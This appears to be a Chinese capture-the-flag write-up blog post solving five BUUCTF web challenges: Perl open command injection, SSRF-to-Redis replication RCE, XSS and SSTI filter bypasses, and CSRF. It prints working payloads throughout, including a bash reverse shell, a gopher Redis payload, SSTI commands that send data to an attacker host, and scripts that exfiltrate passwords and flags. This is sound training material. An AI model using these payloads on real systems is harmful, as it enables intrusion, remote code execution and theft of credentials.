buuctf13(perl脚本GET open命令漏洞&redis主从复制&xss&ssti关键字过滤绕过&csrf)

目录

<1> [HITCON 2017]SSRFme(perl脚本GET open命令漏洞)

 <2> [网鼎杯 2020 玄武组]SSRFMe(SSRF结合redis主从复制RCE)

<3> [GWCTF 2019]mypassword(xss获取保存的cookie内容)

 <4> [GWCTF 2019]你的名字(ssti {{和关键字绕过)

(1) {{ 和 }} 过滤绕过:

(2) 绕过关键字过滤方法:

<5> [GKCTF 2021]CheckBot(csrf)


<1> [HITCON 2017]SSRFme(perl脚本GET open命令漏洞)

做这道题前,先来看一下后面会用到的知识点:

  • open函数中存在 rce,并且还支持file函数

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果 

比如你 open(file_handler,"|pwd"); 会执行pwd命令

  • GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,
  • Perl的GET函数底层就是调用了open处理

进入题目,过的源码:

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

进行审计,代码功能为:

  1. 输出当前页面用户的ip
  2. 构建md5处理过的目录,并切换构建的目录,格式为 sandbox/md5(orange+ip)
  3. shellexec() 执行 GET 拼接的命令,内容可控 (这里可以使用 perl 进行命令执行)
  4. 将shell_exec()命令执行结果(可控内容)写入到filename(可控文件名)中

观察其他师傅WP 才知道 这个GET是  Lib for WWW in Perl中的命令 以前从来没遇到过

相关介绍可查看:LWP(Library for WWW in Perl)的基本使用

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

前面说了 这里 GET是Lib for WWW in Perl中的命令 可以使用perl进行命令执行

而 执行的条件呢,就是我们必须先创建一个和命令一样的文件,然后就是将命令执行的结果放到我们传进去的文件里面

首先我们利用 open rce 看看根目录下有哪些文件:

?url=file:///&filename=a

会写入到 sandbox/md5(orange+ip)/a 文件中

我们看到了 readflag 读取flag读不到,肯定是通过执行 readflag来获得flag

 由于需满足文件存在,才会执行open语句,所以先创建命令的同名文件

?url=&filename=|/readflag

然后利用perl open函数进行rce

?url=file:|/readflag&filename=a

|/readflag 命令执行结果 存储到a文件中

再次访问 sandbox/md5(orange+ip)/a 得到flag

注:可以直接/readflag  也可以 bash -c /readflag

 <2> [网鼎杯 2020 玄武组]SSRFMe(SSRF结合redis主从复制RCE)

  • SSRF结合redis主从复制RCE
  • prase_url()解析漏洞
  • file_put_content死亡代码(没考到,积累一下)
  • parse_urllibcurl对url的解析差异绕过指定host(也没考到 积累一下)

Tips:使用DNS重绑定绕过限制 

 进入题目,得到源代码:

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

进行代码审计,功能为:

  1. 接受用户传入的url, 经由 safe_request_url() 处理
  2. check_inner_ip函数判断并禁止内网ip的请求,并必须使用http或https,dict,gopher协议
  3. safe_request_url先用上一个函数判断,不符合即会开启curl会话,输入值

看到 curl_exec 也比较明确是ssrf了, 代码最后提示要从本地端访问hint.php文件,那么绕过本地验证过滤即可,这里过滤了127开头、10开头、172.16开头、192.168开头 方法也有很多,这里使用 0.0.0.0绕过限制、也可以

?url=http://0.0.0.0/hint.php

得到 hint.php 如下:

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

本体的代码其实被大佬用来做利用libcurl和parse_url对url的解析差异绕指定的host的例子 不过可能是环境问题,这个方法在 curl 较新的版本里被修掉了,buu上无法使用 

从上图中可以看到curl()函数解析的是第一个@后面的网址,而prase_url()解析的是第二个@后面的地址。利用这个原理我们可以绕过题目中prase_url()函数对指定host的限制 ?url=http://u:p@127.0.0.1:80@baidu.com/hint.php

回到 hint.php,我们可以看到

file_put_contents($content,"<?php exit();".$content);

会不会是 file_put_content死亡代码  逃逸exit 这个打不通,应该是权限的问题,没有写文件的权限

然后后面 redispass is root 给了redis的密码,应该是 gopher 打redis了

 看各个师傅的wp,得知考察的是redis的主从复制   .....没搞过 码上 后面专门搞一搞

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。


redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis

主从复制从ssrf->rce原理:在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE

 所以我们这题的思路是:

首先,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,然后就可以远程连接目标Redis服务器

然后,通过 slave of 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)

然后,又因为主从复制。恶意Redis主机上的exp.so会同步到Reids从机上,并将dbfilename设置为exp.so

最后再控制Redis从机(slaver)加载模块执行系统命令即可

用到的命令为:

config set dir /tmp/                     //设置备份文件路径为/tmp/

config set dbfilename exp.so     //设置备份文件名为:exp.so
slaveof vpsip port                       //设置主redis地址为 vpsip,端口为 port

module load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/192.168.8.103/4607 0>&1'

or system.rev  vpsip port

这道题主要用到  redis-rogue-server: Redis 4.x/5.x RCE  和 redis ssrf gopher generater & redis ssrf to rce by master-slave-sync 脚本

将他们下载到vps上

这里脚本里帮我们写入了要在redis上执行的 命令:

 因此我们只用改一下对应的参数 vpsip port 和 system.exec 具体命令即可

更改 ssrf-redis.py 脚本里的 lhost为你的vps 的ip,lport为端口  同时记得passwd设为root

ip为 0.0.0.0 绕过前面的 ssrf 限制

 

生成payload,执行:python ssrf-redis.py

然后在 vps里执行:python redis-rogue-server.py --server-only

 gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%245%0D%0Avpsip%0D%0A%244%0D%0Aport%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

相当于:

gopher://0.0.0.0:6379/_auth root

config set dir /tmp/                     //设置备份文件路径为/tmp/

config set dbfilename exp.so     //设置备份文件名为:exp.so
slaveof vpsip port                       //设置主redis地址为 vpsip,端口为 port

module load /tmp/exp.so            // 加载 exp.so
system.exec 'cat /flag'

然后 将payload 再进行一次url编码(空格都用%2520替换,换行都用%250d%250a替换),也可以直接burp给url编一次码 传给url参数

就可以得到flag。

buu的这道题环境好像有问题,exp.so这个拓展并没有在主从复制时完整的传到 buu题目环境上 ,就导致每次执行 module load /tmp/exp.so 的时候就 -ERR Error loading the extension 提示不可用

 又因为没有 load (加载)上exp.so  system.exec去执行 cat /flag命令时,也会报错:-ERR unknown command `system.exec`

<3> [GWCTF 2019]mypassword(xss获取保存的cookie内容)

  • xss注入
  • requestbin 外带数据(也可外带rce无回显)

进入题目后得到一个登录框,注册一个admin 已存在,那就乖乖注册别的吧

登录进去之后, 得知:admin 密码在源码里

 在Feedback中看见注释


			if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }

 过滤了好多xss用到的标签事件,svg,script,onload 等等,但是是用str_ireplace函数匹配的,而str_ireplace函数 该函数单次匹配递归匹配,且它的关键字是一个数组,遍历数组,每次一个关键字,可以双写两个关键字绕过

试试xss

<scriphostt>alert(1)</scriphostt>

在list中点击我们提交的内容,果然弹窗。然后我们就得尝试获取源码里的密码,登陆admin,再进行下一步操作

怎么通过xss获得源码呢? 之前只用xss去 得到bot的cookie,还没试过用xss获取源码

看wp得知:在Login登录界面,有/js/login.js:

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

 发现login.js中的 记住密码 功能会将读取cookie中的password。

于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag

poc如下:

<input type="text" name="username"></input>
<input type="text" name="password"></input>
<script src="./js/login.js"></script>
<script>
	var uname = document.getElementsByName("username")[0].value;
	var passwd = document.getElementsByName("password")[0].value;
	var res = uname + " " + passwd;
	document.location="http://requestbin/?res="+res;
</script>

 利用buu的requestbin  :http://http.requestbin.buuoj.cn/

点击 Create a RequestBin获取一个链接,将poc中的location设为我们申请到的链接

同时又因为存在过滤,我们给对应的关键字都加上双写绕过一下

<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
	var uname = documcookieent.getcookieElementsByName("username")[0].value;
	var passwd = documcookieent.getcookieElementsByName("password")[0].value;
	var res = uname + " " + passwd;
	documcookieent.locacookietion="http://http.requestbin.buuoj.cn/we1fz5we/?res="+res;
</scricookiept>

Feedback提交之后,进入List点击, 即可得到flag

 注:因为是保存密码功能,因从你在登录自己注册的账号的时候不要点记住密码,否则会覆盖掉admin的密码  喏

 不知道为什么,src设成vps的话,vps上得不到admin的密码,但是能得到我注册的用户的密码

 <4> [GWCTF 2019]你的名字(ssti {{和关键字绕过)

  • {{}}符号的绕过
  • 关键字符过滤的绕过 

 进入题目,发现需要输入名字,有一个输入框 测试是否存在sql注入 xss

 未果,尝试ssti 发现报错:

Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13

实际上这是 手动写的 php的报错,迷惑人的,后端其实是python写的。

 {{7*7}} 会报错 而{7*7}则会显示出来 应该是过滤了 {{

(1) {{ 和 }} 过滤绕过:

双大括号过滤的绕过比较常见,一般就是使用{% %}配合if()或者print()函数进行输出

{% %}配合if():

ssti 学习可以参考: Python模板注入(SSTI)深入学习 - 先知社区

直接用文章里给的 payload打一下:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

 露 500了,过滤了

这是题目的过滤代码:

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                 ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
    while True:
        if no in s:
            s = s.replace(no, '')
        else:
            break
return s

可以看到采用的是 单次匹配递归匹配,且关键字是一个数组,因而我们可以双写其中的两个前后关键字进行绕过,比如config是最后匹配的,当我们传入 imporconfigt时,已经判断过不是import了,这里把config置空之后,便得到了import。过滤不严谨

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}

  

{% %}配合print

{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}

(2) 绕过关键字过滤方法:

{% %}配合 print 形式  {%print %}

一、 使用拼接

 {%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}

二、分别定义

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}

上面的都可以,然后这道题由于是过滤不严谨,也可以按照上面 if 用的那种方法,关键字里插入config来绕过

{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read() %}

<5> [GKCTF 2021]CheckBot(csrf)

Hint:让bot访问/admin.php才有flag,但是怎么带出来呢

下、admin bot会点击我们传入的url值,我们可以构造csrf 让bot点击 把flag发到我们vps监听的端口

<html>
        <body>
                <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
                <script>
                        window.onload = function(){
                        /* Prepare flag */
                        let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
                        /* Export flag */
                        var exportFlag = new XMLHttpRequest();
                        exportFlag.open('get', 'http://vps:port/flag-' + window.btoa(flag));
                        exportFlag.send();
                        }
                </script>
        </body>
</html>

 Submit successfully, wait for admin bot to check!

等一会再查看vps上监听端口返回的信息

base64解密一下,得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值